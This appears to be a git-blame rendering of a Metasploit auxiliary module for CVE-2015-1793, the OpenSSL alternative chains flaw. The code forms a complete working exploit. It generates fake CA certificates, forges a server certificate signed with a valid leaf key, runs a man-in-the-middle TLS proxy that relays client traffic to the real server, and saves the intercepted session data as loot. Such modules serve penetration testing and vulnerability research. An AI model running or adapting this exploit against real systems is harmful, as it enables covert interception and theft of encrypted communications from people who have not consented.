2015-07-16 05:36:29 +00:00
|
|
|
##
|
|
|
|
# This module requires Metasploit: http://metasploit.com/download
|
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
require 'openssl'
|
|
|
|
|
2016-03-08 13:02:44 +00:00
|
|
|
class MetasploitModule < Msf::Auxiliary
|
2015-07-16 05:36:29 +00:00
|
|
|
|
|
|
|
include Msf::Auxiliary::Report
|
|
|
|
|
|
|
|
def initialize
|
|
|
|
super(
|
|
|
|
'Name' => 'OpenSSL Alternative Chains Certificate Forgery MITM Proxy',
|
|
|
|
'Description' => %q{
|
|
|
|
This module exploits a logic error in OpenSSL by impersonating the server
|
|
|
|
and sending a specially-crafted chain of certificates, resulting in
|
|
|
|
certain checks on untrusted certificates to be bypassed on the client,
|
|
|
|
allowing it to use a valid leaf certificate as a CA certificate to sign a
|
|
|
|
fake certificate. The SSL/TLS session is then proxied to the server
|
|
|
|
allowing the session to continue normally and application data transmitted
|
2015-07-16 16:24:50 +00:00
|
|
|
between the peers to be saved.
|
|
|
|
|
|
|
|
The valid leaf certificate must not contain the keyUsage extension or it
|
|
|
|
must have at least the keyCertSign bit set (see X509_check_issued function
|
|
|
|
in crypto/x509v3/v3_purp.c); otherwise; X509_verify_cert fails with
|
|
|
|
X509_V_ERR_UNABLE_TO_GET_ISSUER_CERT_LOCALLY. This module requires an
|
|
|
|
active man-in-the-middle attack.
|
2015-07-16 05:36:29 +00:00
|
|
|
},
|
|
|
|
'Author' =>
|
|
|
|
[
|
2015-07-17 18:37:30 +00:00
|
|
|
'David Benjamin', # Vulnerability discovery
|
|
|
|
'Adam Langley', # Vulnerability discovery
|
|
|
|
'Ramon de C Valle' # Metasploit module
|
2015-07-16 05:36:29 +00:00
|
|
|
],
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Actions' =>
|
|
|
|
[
|
|
|
|
[ 'Service' ]
|
|
|
|
],
|
|
|
|
'PassiveActions' =>
|
|
|
|
[
|
|
|
|
'Service'
|
|
|
|
],
|
|
|
|
'DefaultAction' => 'Service',
|
|
|
|
'References' => [
|
|
|
|
['CVE', '2015-1793'],
|
|
|
|
['CWE', '754'],
|
|
|
|
['URL', 'http://git.openssl.org/?p=openssl.git;a=commit;h=f404943bcab4898d18f3ac1b36479d1d7bbbb9e6']
|
|
|
|
],
|
|
|
|
'DisclosureDate' => 'Jul 9 2015'
|
|
|
|
)
|
|
|
|
|
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
OptString.new('CACERT', [ true, "The leaf certificate's CA certificate", nil]),
|
|
|
|
OptString.new('CERT', [ true, 'The leaf certificate', nil]),
|
|
|
|
OptString.new('KEY', [ true, "The leaf certificate's private key", nil]),
|
|
|
|
OptString.new('PASSPHRASE', [ false, "The pass phrase for the leaf certificate's private key", nil]),
|
2015-07-17 18:37:30 +00:00
|
|
|
OptString.new('SUBJECT', [ false, 'The subject field for the fake certificate', '/C=US/ST=California/L=Mountain View/O=Example Inc/CN=*.example.com']),
|
2015-07-16 05:36:29 +00:00
|
|
|
OptString.new('HOST', [ true, 'The server address', nil]),
|
|
|
|
OptString.new('PORT', [ true, 'The server port', 443]),
|
|
|
|
OptString.new('SRVHOST', [ true, 'The proxy address', '0.0.0.0']),
|
|
|
|
OptString.new('SRVPORT', [ true, 'The proxy port', 443])
|
|
|
|
], self.class)
|
|
|
|
end
|
|
|
|
|
2015-07-24 16:16:09 +00:00
|
|
|
def cleanup
|
|
|
|
super
|
|
|
|
return unless @proxy
|
|
|
|
|
|
|
|
begin
|
|
|
|
@proxy.deref if @proxy.kind_of?(Rex::Service)
|
|
|
|
if @proxy.kind_of?(Rex::Socket)
|
|
|
|
@proxy.close
|
|
|
|
@proxy.stop
|
|
|
|
end
|
|
|
|
@proxy = nil
|
|
|
|
rescue ::Exception
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
2015-07-16 05:36:29 +00:00
|
|
|
def run
|
|
|
|
host = datastore['HOST']
|
|
|
|
port = datastore['PORT']
|
|
|
|
local_host = datastore['SRVHOST']
|
|
|
|
local_port = datastore['SRVPORT']
|
|
|
|
|
|
|
|
root_ca_name = OpenSSL::X509::Name.parse('/C=US/O=Root Inc./CN=Root CA')
|
|
|
|
root_ca_key = OpenSSL::PKey::RSA.new(2048)
|
|
|
|
root_ca_cert = OpenSSL::X509::Certificate.new
|
|
|
|
root_ca_cert.issuer = OpenSSL::X509::Name.parse('/C=US/O=Root Inc./CN=Root CA')
|
|
|
|
root_ca_cert.not_after = Time.now + 86400
|
|
|
|
root_ca_cert.not_before = Time.now
|
|
|
|
root_ca_cert.public_key = root_ca_key.public_key
|
|
|
|
root_ca_cert.serial = 0
|
|
|
|
root_ca_cert.subject = root_ca_name
|
|
|
|
root_ca_cert.version = 2
|
|
|
|
extension_factory = OpenSSL::X509::ExtensionFactory.new(root_ca_cert, root_ca_cert)
|
|
|
|
root_ca_cert.add_extension(extension_factory.create_extension('basicConstraints', 'CA:TRUE', true))
|
|
|
|
root_ca_cert.add_extension(extension_factory.create_extension('keyUsage', 'keyCertSign,cRLSign', true))
|
|
|
|
root_ca_cert.add_extension(extension_factory.create_extension('subjectKeyIdentifier', 'hash'))
|
|
|
|
root_ca_cert.sign(root_ca_key, OpenSSL::Digest::SHA1.new)
|
|
|
|
|
|
|
|
inter_ca_name = OpenSSL::X509::Name.parse('/C=US/O=Intermediate Inc./CN=Intermediate CA')
|
|
|
|
inter_ca_key = OpenSSL::PKey::RSA.new(2048)
|
|
|
|
inter_ca_cert = OpenSSL::X509::Certificate.new
|
|
|
|
inter_ca_cert.issuer = root_ca_name
|
|
|
|
inter_ca_cert.not_after = Time.now + 86400
|
|
|
|
inter_ca_cert.not_before = Time.now
|
|
|
|
inter_ca_cert.public_key = inter_ca_key.public_key
|
|
|
|
inter_ca_cert.serial = 0
|
|
|
|
inter_ca_cert.subject = inter_ca_name
|
|
|
|
inter_ca_cert.version = 2
|
|
|
|
extension_factory = OpenSSL::X509::ExtensionFactory.new(root_ca_cert, inter_ca_cert)
|
|
|
|
inter_ca_cert.add_extension(extension_factory.create_extension('basicConstraints', 'CA:TRUE', true))
|
|
|
|
inter_ca_cert.add_extension(extension_factory.create_extension('keyUsage', 'keyCertSign,cRLSign', true))
|
|
|
|
inter_ca_cert.add_extension(extension_factory.create_extension('subjectKeyIdentifier', 'hash'))
|
|
|
|
inter_ca_cert.sign(root_ca_key, OpenSSL::Digest::SHA1.new)
|
|
|
|
|
|
|
|
subinter_ca_cert = OpenSSL::X509::Certificate.new(File.read(datastore['CACERT']))
|
|
|
|
subinter_ca_cert.issuer = inter_ca_name
|
|
|
|
subinter_ca_cert.sign(inter_ca_key, OpenSSL::Digest::SHA1.new)
|
|
|
|
leaf_key = OpenSSL::PKey::RSA.new(File.read(datastore['KEY']), datastore['PASSPHRASE'])
|
|
|
|
leaf_cert = OpenSSL::X509::Certificate.new(File.read(datastore['CERT']))
|
|
|
|
|
|
|
|
fake_name = OpenSSL::X509::Name.parse(datastore['SUBJECT'])
|
|
|
|
fake_key = OpenSSL::PKey::RSA.new(2048)
|
|
|
|
fake_cert = OpenSSL::X509::Certificate.new
|
|
|
|
fake_cert.issuer = leaf_cert.subject
|
|
|
|
fake_cert.not_after = Time.now + 3600
|
|
|
|
fake_cert.not_before = Time.now
|
|
|
|
fake_cert.public_key = fake_key.public_key
|
|
|
|
fake_cert.serial = 0
|
|
|
|
fake_cert.subject = fake_name
|
|
|
|
fake_cert.version = 2
|
|
|
|
extension_factory = OpenSSL::X509::ExtensionFactory.new(leaf_cert, fake_cert)
|
|
|
|
fake_cert.add_extension(extension_factory.create_extension('basicConstraints', 'CA:FALSE', true))
|
|
|
|
fake_cert.add_extension(extension_factory.create_extension('keyUsage', 'digitalSignature,nonRepudiation,keyEncipherment'))
|
|
|
|
fake_cert.add_extension(extension_factory.create_extension('subjectKeyIdentifier', 'hash'))
|
|
|
|
fake_cert.sign(leaf_key, OpenSSL::Digest::SHA1.new)
|
|
|
|
|
|
|
|
context = OpenSSL::SSL::SSLContext.new
|
|
|
|
context.cert = fake_cert
|
|
|
|
context.extra_chain_cert = [leaf_cert, subinter_ca_cert]
|
|
|
|
context.key = fake_key
|
|
|
|
|
2015-07-24 16:16:09 +00:00
|
|
|
@proxy = Rex::Socket::SslTcpServer.create(
|
|
|
|
'LocalHost' => local_host,
|
|
|
|
'LocalPort' => local_port,
|
|
|
|
'SSLContext' => context,
|
|
|
|
'Context' =>
|
|
|
|
{
|
|
|
|
'Msf' => framework,
|
|
|
|
'MsfExploit' => self
|
|
|
|
})
|
|
|
|
|
|
|
|
print_status('Listening on %s:%d' % [local_host, local_port])
|
2015-07-16 05:36:29 +00:00
|
|
|
|
|
|
|
thread_num = 0
|
|
|
|
|
|
|
|
loop do
|
2015-07-24 16:16:09 +00:00
|
|
|
framework.threads.spawn("Thread #{thread_num += 1}", false, @proxy.accept) do |client|
|
|
|
|
add_socket(client)
|
2015-07-16 05:36:29 +00:00
|
|
|
application_data = ''
|
2015-07-24 16:16:09 +00:00
|
|
|
print_status('Accepted connection from %s:%d' % [client.peerhost, client.peerport])
|
2015-07-16 05:36:29 +00:00
|
|
|
|
|
|
|
server = Rex::Socket::Tcp.create(
|
|
|
|
'PeerHost' => host,
|
|
|
|
'PeerPort' => port,
|
|
|
|
'SSL' => true,
|
|
|
|
'SSLVerifyMode' => 'NONE',
|
|
|
|
'Context' =>
|
|
|
|
{
|
|
|
|
'Msf' => framework,
|
|
|
|
'MsfExploit' => self
|
|
|
|
})
|
2015-07-24 16:16:09 +00:00
|
|
|
add_socket(server)
|
2015-07-16 05:36:29 +00:00
|
|
|
|
|
|
|
print_status('Connected to %s:%d' % [host, port])
|
|
|
|
|
|
|
|
begin
|
|
|
|
loop do
|
2015-08-08 14:43:39 +00:00
|
|
|
readable, _, _ = Rex::ThreadSafe.select([client, server])
|
2015-07-16 05:36:29 +00:00
|
|
|
|
|
|
|
readable.each do |r|
|
2015-07-24 16:16:09 +00:00
|
|
|
data = r.get_once
|
2015-07-16 05:36:29 +00:00
|
|
|
print_status('%d bytes received' % [data.bytesize])
|
|
|
|
|
|
|
|
application_data << data
|
|
|
|
|
|
|
|
case r
|
|
|
|
when client
|
2015-07-24 16:16:09 +00:00
|
|
|
count = server.put(data)
|
2015-07-16 05:36:29 +00:00
|
|
|
print_status('%d bytes sent' % [count])
|
|
|
|
when server
|
2015-07-24 16:16:09 +00:00
|
|
|
count = client.put(data)
|
2015-07-16 05:36:29 +00:00
|
|
|
print_status('%d bytes sent' % [count])
|
|
|
|
end
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
rescue EOFError, Errno::ECONNRESET
|
|
|
|
path = store_loot(
|
|
|
|
'tls.application_data',
|
|
|
|
'application/octet-stream',
|
2015-07-24 16:16:09 +00:00
|
|
|
client.peerhost,
|
2015-07-16 05:36:29 +00:00
|
|
|
application_data,
|
|
|
|
'application_data',
|
|
|
|
'TLS session application data'
|
|
|
|
)
|
|
|
|
|
|
|
|
print_good("SSL/TLS session application data successfully stored in #{path}")
|
|
|
|
|
|
|
|
client.close
|
|
|
|
server.close
|
|
|
|
|
|
|
|
next
|
|
|
|
end
|
|
|
|
|
|
|
|
client.close
|
|
|
|
server.close
|
|
|
|
end
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
end
|